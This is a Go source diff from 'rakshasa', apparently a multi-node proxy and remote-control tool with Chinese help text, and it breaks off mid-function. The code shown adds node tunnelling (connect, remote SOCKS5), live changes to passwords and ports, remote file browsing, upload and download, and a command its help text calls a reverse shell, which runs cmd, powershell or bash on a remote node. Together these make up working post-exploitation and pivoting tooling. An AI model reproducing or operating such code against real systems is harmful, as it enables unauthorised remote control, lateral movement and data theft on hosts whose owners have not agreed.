connectshell.AddCmd(&ishell.Cmd{
|
||||
Name: "new-connect",
|
||||
Help: "新建一个本地connect,使用方法 new-connect ip:port,remote_ip:remote_port 目标服务器 如 new-connect 0.0.0.0:88,192.168.1.180:8808 192.168.1.2:1081",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ","))
|
||||
if err != nil {
|
||||
c.Println("connect连接", c.Args[1], "失败", err)
|
||||
return
|
||||
}
|
||||
if err = StartRawConnect(c.Args[0], n); err != nil {
|
||||
c.Println(err)
|
||||
return
|
||||
}
|
||||
c.Println("connect连接", c.Args[1], "成功")
|
||||
},
|
||||
})
|
||||
connectshell.AddCmd(&ishell.Cmd{
|
||||
Name: "close",
|
||||
Help: "关闭一个connect连接,使用方法 close ID",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,例子 close 1")
|
||||
return
|
||||
}
|
||||
|
||||
id, _ := strconv.Atoi(c.Args[0])
|
||||
var l *clientListen
|
||||
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
|
||||
if v, ok := value.(*clientListen); ok && v.typ == "connect" {
|
||||
l = v
|
||||
}
|
||||
}
|
||||
if l == nil {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "connect",
|
||||
Help: "进入connect功能",
|
||||
Func: func(c *ishell.Context) {
|
||||
connectshell.Run()
|
||||
},
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"net"
|
||||
"rakshasa/common"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
func (l *serverListen) Lisen() {
|
||||
|
||||
for {
|
||||
c, err := l.listen.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
conn := &serverConnect{}
|
||||
conn.conn = c
|
||||
conn.address = c.RemoteAddr().String()
|
||||
conn.node = l.node
|
||||
conn.write = make(chan *bytes.Buffer, 64)
|
||||
|
||||
if l.isSocks5 {
|
||||
conn.id = l.id
|
||||
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
|
||||
go conn.handTcpReceive()
|
||||
return
|
||||
}
|
||||
conn.id = l.node.storeConn(conn)
|
||||
|
||||
b := make([]byte, 4)
|
||||
b[0] = byte(conn.id)
|
||||
b[1] = byte(conn.id >> 8)
|
||||
b[2] = byte(conn.id >> 16)
|
||||
b[3] = byte(conn.id >> 24)
|
||||
conn.node.Write(common.CMD_CONNECT_BYID, l.id, b)
|
||||
l.connMap.Store(conn.id, conn)
|
||||
go conn.handTcpReceive()
|
||||
|
||||
}
|
||||
}
|
||||
func (l *serverListen) Close(reason string) {
|
||||
if atomic.CompareAndSwapInt32(&l.close, 0, 1) {
|
||||
if l.listen != nil {
|
||||
l.listen.Close()
|
||||
}
|
||||
l.connMap.Range(func(key, value interface{}) bool {
|
||||
if reason != remoteClose {
|
||||
l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil)
|
||||
}
|
||||
l.connMap.Delete(key)
|
||||
return true
|
||||
})
|
||||
if reason != remoteClose {
|
||||
|
||||
l.node.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
|
||||
func StartRemoteSocks5(cfg *common.Addr, n *node) error {
|
||||
|
||||
l := &clientListen{
|
||||
id: common.GetID(),
|
||||
localAddr: "",
|
||||
remoteAddr: cfg.Addr(),
|
||||
server: n,
|
||||
typ: "socks5",
|
||||
result: make(chan interface{}),
|
||||
}
|
||||
l.openOption = common.CMD_REMOTE_SOCKS5
|
||||
l.openMsg = []byte(cfg.String())
|
||||
n.Write(l.openOption, l.id, l.openMsg)
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
select {
|
||||
case res := <-l.result:
|
||||
if err, ok := res.(error); ok {
|
||||
l.Close(remoteClose)
|
||||
return err
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
l.Close(remoteClose)
|
||||
return errors.New("time out")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
func init() {
|
||||
remoteSocks5shell := cliInit()
|
||||
remoteSocks5shell.SetPrompt("rakshasa\\remotesocks5>")
|
||||
remoteSocks5shell.AddCmd(&ishell.Cmd{
|
||||
Name: "list",
|
||||
Help: "列出当前连接的ID和其他信息",
|
||||
Func: func(c *ishell.Context) {
|
||||
|
||||
var list []*clientListen
|
||||
currentNode.listenMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(*clientListen); ok {
|
||||
if v.typ == "socks5" {
|
||||
list = append(list, v)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
orderClientListen(list)
|
||||
fmt.Println("当前连接数量:", len(list))
|
||||
for _, v := range list {
|
||||
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
remoteSocks5shell.AddCmd(&ishell.Cmd{
|
||||
Name: "new-remotesocks5",
|
||||
Help: "新建一个remotesocks5连接到本节点,使用方法 new-remotesocks5 配置字串符 目标服务器 如 new-remotesocks5 admin:[email protected]:1080 127.0.0.1:1081",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ","))
|
||||
if err != nil {
|
||||
c.Println("无法连接 ", c.Args[1], err)
|
||||
return
|
||||
}
|
||||
cfg, err := common.ParseAddr(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println(err)
|
||||
return
|
||||
}
|
||||
if err = StartRemoteSocks5(cfg, n); err != nil {
|
||||
c.Println("连接", c.Args[1], "失败", err)
|
||||
return
|
||||
}
|
||||
c.Println("节点", c.Args[1], "配置信息,", c.Args[0], ",启动socks5 到 本节点 成功")
|
||||
},
|
||||
})
|
||||
remoteSocks5shell.AddCmd(&ishell.Cmd{
|
||||
Name: "close",
|
||||
Help: "关闭一个remotesocks5连接,使用方法 close ID",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,例子 close 1")
|
||||
return
|
||||
}
|
||||
id, _ := strconv.Atoi(c.Args[0])
|
||||
|
||||
var l *clientListen
|
||||
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
|
||||
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
|
||||
l = v
|
||||
}
|
||||
|
||||
}
|
||||
if l == nil {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
},
|
||||
})
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "remotesocks5",
|
||||
Help: "进入remotesocks5功能",
|
||||
Func: func(c *ishell.Context) {
|
||||
|
||||
remoteSocks5shell.Run()
|
||||
|
||||
},
|
||||
})
|
||||
}
|
||||
+837
@@ -0,0 +1,837 @@
|
||||
package server
|
||||
|
||||
/*
|
||||
*高级shell功能
|
||||
*node节点管理、remoteShell远程shell,config配置管理
|
||||
*/
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/abiosoft/readline"
|
||||
"github.com/creack/pty"
|
||||
"github.com/dlclark/regexp2"
|
||||
"github.com/luyu6056/ishell"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var (
|
||||
shellMapLock sync.Mutex
|
||||
)
|
||||
|
||||
type StartCmdParam struct {
|
||||
Param string
|
||||
Size *pty.Winsize
|
||||
}
|
||||
type remoteCmd struct {
|
||||
cmdStatus int32
|
||||
cmd *exec.Cmd
|
||||
id uint32
|
||||
stdin io.WriteCloser
|
||||
inChan chan []byte
|
||||
translate func(in []byte) ([]byte, error)
|
||||
ping, pong int64
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
configShell := cliInit()
|
||||
configShell.SetPrompt("rakshasa\\config>")
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "info",
|
||||
Help: "打印当前配置",
|
||||
Func: func(c *ishell.Context) {
|
||||
c.Println("当前节点", currentNode.uuid)
|
||||
c.Println("上级节点地址", currentConfig.DstNode)
|
||||
c.Println("通讯密码", currentConfig.Password)
|
||||
c.Println("监听端口", currentConfig.Port)
|
||||
c.Println("监听IP", currentConfig.ListenIp)
|
||||
c.Println("禁止额外连接", currentConfig.Limit)
|
||||
c.Println("配置文件名", currentConfig.FileName)
|
||||
if currentConfig.FileSave {
|
||||
c.Println("当前配置:已写入文件")
|
||||
} else {
|
||||
c.Println("当前配置:未写入文件")
|
||||
}
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "save",
|
||||
Help: "保存文件",
|
||||
Func: func(c *ishell.Context) {
|
||||
if err := ConfigSave(); err == nil {
|
||||
c.Println("写入成功")
|
||||
} else {
|
||||
c.Println("保存失败", err.Error())
|
||||
}
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "d",
|
||||
Help: "修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
|
||||
return
|
||||
}
|
||||
dstNode, err := common.ResolveTCPAddr(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
|
||||
return
|
||||
}
|
||||
currentConfig.DstNode = dstNode
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "password",
|
||||
Help: "修改通讯密码,立即生效",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 password \"123456\"")
|
||||
return
|
||||
}
|
||||
c.Println(c.Args)
|
||||
currentConfig.Password = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PublicKey[:16]))
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "port",
|
||||
Help: "修改监听端口,立即生效",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,格式为 port 8883")
|
||||
return
|
||||
}
|
||||
port, _ := strconv.Atoi(c.Args[0])
|
||||
if port <= 0 || port > 65535 {
|
||||
c.Println("参数错误,端口范围是1-65535")
|
||||
return
|
||||
}
|
||||
c.Println("正在关闭server监听")
|
||||
if currentNode.listen != nil {
|
||||
currentNode.listen.Close()
|
||||
currentNode.listen = nil
|
||||
}
|
||||
currentConfig.Port = port
|
||||
currentNode.port = port
|
||||
currentConfig.FileSave = false
|
||||
currentNode.broadcastNode()
|
||||
StartServer(port)
|
||||
},
|
||||
})
|
||||
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "ip",
|
||||
Help: "修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
currentConfig.ListenIp = strings.Split(c.Args[0], ",")
|
||||
currentNode.mainIp = currentConfig.ListenIp
|
||||
currentConfig.FileSave = false
|
||||
currentNode.broadcastNode()
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "limit",
|
||||
Help: "修改本节点Limit设置,使用方法 limit true",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
currentConfig.Limit = c.Args[0] == "true"
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
Name: "f",
|
||||
Help: "修改配置文件名,使用方法 f config.yaml",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
currentConfig.FileName = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
},
|
||||
})
|
||||
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "config",
|
||||
Help: "配置管理",
|
||||
Func: func(c *ishell.Context) {
|
||||
configShell.Run()
|
||||
},
|
||||
})
|
||||
remoteShell := cliInit()
|
||||
|
||||
remoteShell.SetPrompt("rakshasa\\remoteshell>")
|
||||
|
||||
fileShell := ishell.New()
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "file",
|
||||
Help: "连到节点进行文件管理,参数为id或者uuid",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
|
||||
workN, _ := getNode(c.Args[0])
|
||||
if workN == nil {
|
||||
c.Println("无法连接节点", c.Args[0])
|
||||
return
|
||||
}
|
||||
|
||||
if workN != nil {
|
||||
fileShell.Set("node", workN)
|
||||
result := make(chan interface{}, 1)
|
||||
id := workN.storeQuery(result)
|
||||
workN.Write(common.CMD_PWD, id, nil)
|
||||
select {
|
||||
case pwd := <-result:
|
||||
workN.deleteQuery(id)
|
||||
pwd = strings.ReplaceAll(pwd.(string), "\\", "/")
|
||||
fileShell.Set("pwd", pwd)
|
||||
fileShell.SetPrompt(workN.uuid + " " + pwd.(string) + ">")
|
||||
fileShell.Run()
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
workN.deleteQuery(id)
|
||||
c.Println("连接", c.Args[0], "超时")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "dir",
|
||||
Help: "打印当前目录文件",
|
||||
Func: func(c *ishell.Context) {
|
||||
pwd := fileShell.Get("pwd")
|
||||
|
||||
n := c.Get("node").(*node)
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_DIR, id, []byte(pwd.(string)))
|
||||
select {
|
||||
case res := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
c.Println(res)
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
c.Println("dir time out")
|
||||
}
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "cd",
|
||||
Help: "切换工作目录",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
dir := c.Args[0]
|
||||
pwd := fileShell.Get("pwd").(string)
|
||||
n := c.Get("node").(*node)
|
||||
|
||||
if strings.Contains(dir, ":/") || dir[0] == '/' || dir == "~" {
|
||||
pwd = dir
|
||||
} else {
|
||||
pwd += "/" + dir
|
||||
pwd = strings.TrimRight(realpath(pwd), "/")
|
||||
}
|
||||
|
||||
resChan := make(chan interface{}, 1)
|
||||
id := n.storeQuery(resChan)
|
||||
n.Write(common.CMD_CD, id, []byte(pwd))
|
||||
|
||||
select {
|
||||
case res := <-resChan:
|
||||
n.deleteQuery(id)
|
||||
if err, ok := res.(error); ok {
|
||||
c.Println(err.Error())
|
||||
} else {
|
||||
pwd = res.(string)
|
||||
fileShell.Set("pwd", pwd)
|
||||
c.SetPrompt(n.uuid + " " + pwd + ">")
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
n.deleteQuery(id)
|
||||
c.Println("dir time out")
|
||||
}
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "upload",
|
||||
Help: "上传文件 ,upload 本地文件 远程目录(为空传到工作目录)",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 && len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
s, err := os.Stat(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("打开本地文件", c.Args[0], "错误 ", err)
|
||||
return
|
||||
}
|
||||
f, err := os.Open(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println("打开本地文件", c.Args[0], "错误 ", err)
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
pwd := fileShell.Get("pwd").(string) + "/"
|
||||
n := c.Get("node").(*node)
|
||||
|
||||
if len(c.Args) == 2 {
|
||||
pwd = c.Args[1]
|
||||
}
|
||||
pwd = strings.ReplaceAll(pwd, "\\", "/")
|
||||
c.Args[0] = strings.ReplaceAll(c.Args[0], "\\", "/")
|
||||
i := strings.LastIndex(c.Args[0], "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
|
||||
if pwd[len(pwd)-1] == '/' {
|
||||
pwd += c.Args[0][i:]
|
||||
}
|
||||
i = strings.LastIndex(pwd, "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(realpath(dir), "/") + "/"
|
||||
pwd = dir + filename
|
||||
resChan := make(chan interface{}, 9999) //避免收消息阻塞
|
||||
|
||||
filereadChan := make(chan []byte, 10)
|
||||
|
||||
upload := func() {
|
||||
for i := 0; i < 10; i++ {
|
||||
buf := make([]byte, common.MAX_PACKAGE-len(pwd)-9)
|
||||
n, err := f.Read(buf)
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
|
||||
return
|
||||
}
|
||||
resChan <- err
|
||||
c.Println("读取文件", c.Args[0], "错误", err)
|
||||
return
|
||||
}
|
||||
|
||||
filereadChan <- buf[:n]
|
||||
}
|
||||
}
|
||||
|
||||
offset := 0
|
||||
be := len(pwd) + 1
|
||||
id := n.storeQuery(resChan)
|
||||
defer n.deleteQuery(id)
|
||||
b := []byte(pwd)
|
||||
b = append(b, 0, 0, 0, 0, 0, 0, 0, 0, 0)
|
||||
c.ProgressBar().Start()
|
||||
go upload()
|
||||
var resnum int
|
||||
for {
|
||||
select {
|
||||
case data := <-filereadChan:
|
||||
|
||||
b[be] = byte(offset)
|
||||
b[be+1] = byte(offset >> 8)
|
||||
b[be+2] = byte(offset >> 16)
|
||||
b[be+3] = byte(offset >> 24)
|
||||
b[be+4] = byte(offset >> 32)
|
||||
b[be+5] = byte(offset >> 40)
|
||||
b[be+6] = byte(offset >> 48)
|
||||
b[be+7] = byte(offset >> 56)
|
||||
offset += len(data)
|
||||
n.Write(common.CMD_UPLOAD, id, append(b, data...))
|
||||
case res := <-resChan:
|
||||
switch v := res.(type) {
|
||||
case error:
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("上传失败", res)
|
||||
return
|
||||
case int64:
|
||||
resnum++
|
||||
i := v * 100 / s.Size()
|
||||
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
|
||||
c.ProgressBar().Progress(int(i))
|
||||
if v == s.Size() {
|
||||
c.ProgressBar().Stop()
|
||||
c.Println(c.Args[0], "上传成功")
|
||||
return
|
||||
}
|
||||
if resnum >= 5 {
|
||||
go upload()
|
||||
resnum -= 10
|
||||
}
|
||||
default:
|
||||
c.Println("协议错误")
|
||||
return
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("upload time out")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "download",
|
||||
Help: "下载文件 ,download 远程文件 本地目录(为空本地执行目录)",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 && len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
pwd := fileShell.Get("pwd").(string)
|
||||
n := c.Get("node").(*node)
|
||||
file := c.Args[0]
|
||||
file = strings.ReplaceAll(file, "\\", "/")
|
||||
|
||||
if strings.Contains(file, ":/") || file[0] == '/' {
|
||||
pwd = file
|
||||
} else {
|
||||
pwd += "/" + file
|
||||
|
||||
}
|
||||
i := strings.LastIndex(pwd, "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(realpath(dir), "/") + "/"
|
||||
mydir, err := os.Getwd()
|
||||
local := "./" + filename
|
||||
if err == nil {
|
||||
local = mydir + "/" + filename
|
||||
}
|
||||
|
||||
if len(c.Args) == 2 {
|
||||
s, err := os.Stat(c.Args[1])
|
||||
if err == nil {
|
||||
if s.IsDir() {
|
||||
local = strings.TrimRight(c.Args[1], "/") + "/" + filename
|
||||
} else {
|
||||
local = c.Args[1]
|
||||
}
|
||||
} else {
|
||||
local = c.Args[1]
|
||||
}
|
||||
}
|
||||
pwd = dir + filename
|
||||
|
||||
result := make(chan interface{}, 999)
|
||||
id := n.storeQuery(result)
|
||||
defer n.deleteQuery(id)
|
||||
b := []byte(pwd)
|
||||
b = append(b, []byte{0, 0, 0, 0, 0, 0, 0, 0, 0}...)
|
||||
total := int64(-1)
|
||||
be := len(pwd) + 1
|
||||
b[be] = byte(total)
|
||||
b[be+1] = byte(total >> 8)
|
||||
b[be+2] = byte(total >> 16)
|
||||
b[be+3] = byte(total >> 24)
|
||||
b[be+4] = byte(total >> 32)
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, b)
|
||||
c.ProgressBar().Start()
|
||||
size := int64(0)
|
||||
resnum := 0
|
||||
total = 0
|
||||
var f *os.File
|
||||
for {
|
||||
select {
|
||||
case res := <-result:
|
||||
switch v := res.(type) {
|
||||
case error:
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("下载失败", res)
|
||||
return
|
||||
case int64:
|
||||
var err error
|
||||
size = v
|
||||
f, err = os.OpenFile(local, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
|
||||
if err != nil {
|
||||
c.Println("本地文件 ", local, "写入失败", err.Error())
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
case []byte:
|
||||
if f == nil {
|
||||
c.Println("本地文件 ", local, "不可写入")
|
||||
return
|
||||
}
|
||||
resnum++
|
||||
num, err := f.Write(v)
|
||||
if err != nil {
|
||||
c.Println("本地文件 ", local, "写入失败", err.Error())
|
||||
return
|
||||
}
|
||||
if num != len(v) {
|
||||
c.Println("本地文件 ", local, "写入失败,写入量不符")
|
||||
return
|
||||
}
|
||||
total += int64(num)
|
||||
i := total * 100 / size
|
||||
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
|
||||
c.ProgressBar().Progress(int(i))
|
||||
if total == size {
|
||||
c.ProgressBar().Stop()
|
||||
c.Println(c.Args[0], "下载成功 文件保存到", local)
|
||||
return
|
||||
}
|
||||
if resnum == 10 {
|
||||
resnum -= 10
|
||||
b[be] = byte(total)
|
||||
b[be+1] = byte(total >> 8)
|
||||
b[be+2] = byte(total >> 16)
|
||||
b[be+3] = byte(total >> 24)
|
||||
b[be+4] = byte(total >> 32)
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, b)
|
||||
}
|
||||
default:
|
||||
c.Println("协议错误")
|
||||
return
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("upload time out")
|
||||
return
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "new",
|
||||
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,使用方法 connect ip:端口")
|
||||
return
|
||||
}
|
||||
for _, addr := range strings.Split(c.Args[0], ",") {
|
||||
_, err := connectNew(addr)
|
||||
if err != nil {
|
||||
c.Println("连接", addr, "失败", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "shell",
|
||||
Help: "反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash, 如 shell 1 powershell 。 shell 1 zsh",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) < 1 {
|
||||
c.Println("参数错误,例子 shell 1 powershell")
|
||||
return
|
||||
}
|
||||
param := ""
|
||||
if len(c.Args) == 2 {
|
||||
param = c.Args[1]
|
||||
}
|
||||
n, _ := getNode(c.Args[0])
|
||||
if n == nil {
|
||||
c.Println("无法连接节点", c.Args[0])
|
||||
return
|
||||
}
|
||||
res := make(chan interface{}, 999)
|
||||
id := n.storeQuery(res)
|
||||
|
||||
defer n.deleteQuery(id)
|
||||
p := StartCmdParam{
|
||||
Param: param,
|
||||
Size: common.GetSize(),
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(p)
|
||||
n.Write(common.CMD_SHELL, id, b)
|
||||
s := &remoteCmd{
|
||||
cmd: nil,
|
||||
stdin: nil,
|
||||
inChan: make(chan []byte, 999),
|
||||
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||
pong: time.Now().Unix(),
|
||||
}
|
||||
|
||||
select {
|
||||
case i := <-res:
|
||||
switch v := i.(type) {
|
||||
case error:
|
||||
c.Println("启动shell失败,错误", v.Error())
|
||||
case []byte:
|
||||
data := v
|
||||
|
||||
s.id = uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16 | uint32(data[3])<<24
|
||||
switch data[4] {
|
||||
case 0: //windows
|
||||
if string(data[len(data)-6:]) == string([]byte{32, 57, 51, 54, 13, 10}) { //活动代码页: 936
|
||||
//gbk转utf8
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
reader := transform.NewReader(bytes.NewReader(in), simplifiedchinese.GBK.NewDecoder())
|
||||
d, e := ioutil.ReadAll(reader)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
}
|
||||
case 1: //linux
|
||||
if runtime.GOOS == "windows" {
|
||||
if !common.EnableTermVt {
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
if in[0] == 27 {
|
||||
r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0)
|
||||
res, _ := r.Replace(string(in), "", 0, -1)
|
||||
return []byte(res), nil
|
||||
}
|
||||
return in, nil
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
atomic.CompareAndSwapInt32(&s.cmdStatus, 0, 1)
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.Println("启动shell失败,超时")
|
||||
return
|
||||
}
|
||||
|
||||
n.shellMap.Store(s.id, s)
|
||||
r, _ := readline.NewEx(&readline.Config{FuncIsTerminal: func() bool { return false }, ForcePrint: true})
|
||||
defer func() {
|
||||
n.shellMap.Delete(s.id)
|
||||
atomic.StoreInt32(&s.cmdStatus, -1)
|
||||
c.Println("请按回车键退出")
|
||||
r.Close()
|
||||
|
||||
}()
|
||||
|
||||
go func() {
|
||||
|
||||
for {
|
||||
|
||||
switch s.cmdStatus {
|
||||
case 1:
|
||||
|
||||
input, err := r.ReadlineEx()
|
||||
if err != nil {
|
||||
if err != readline.ErrInterrupt {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
if s.cmdStatus == 1 {
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, []byte{03})
|
||||
}
|
||||
}
|
||||
if s.cmdStatus == 1 {
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, []byte(input+"\n"))
|
||||
}
|
||||
|
||||
case 0:
|
||||
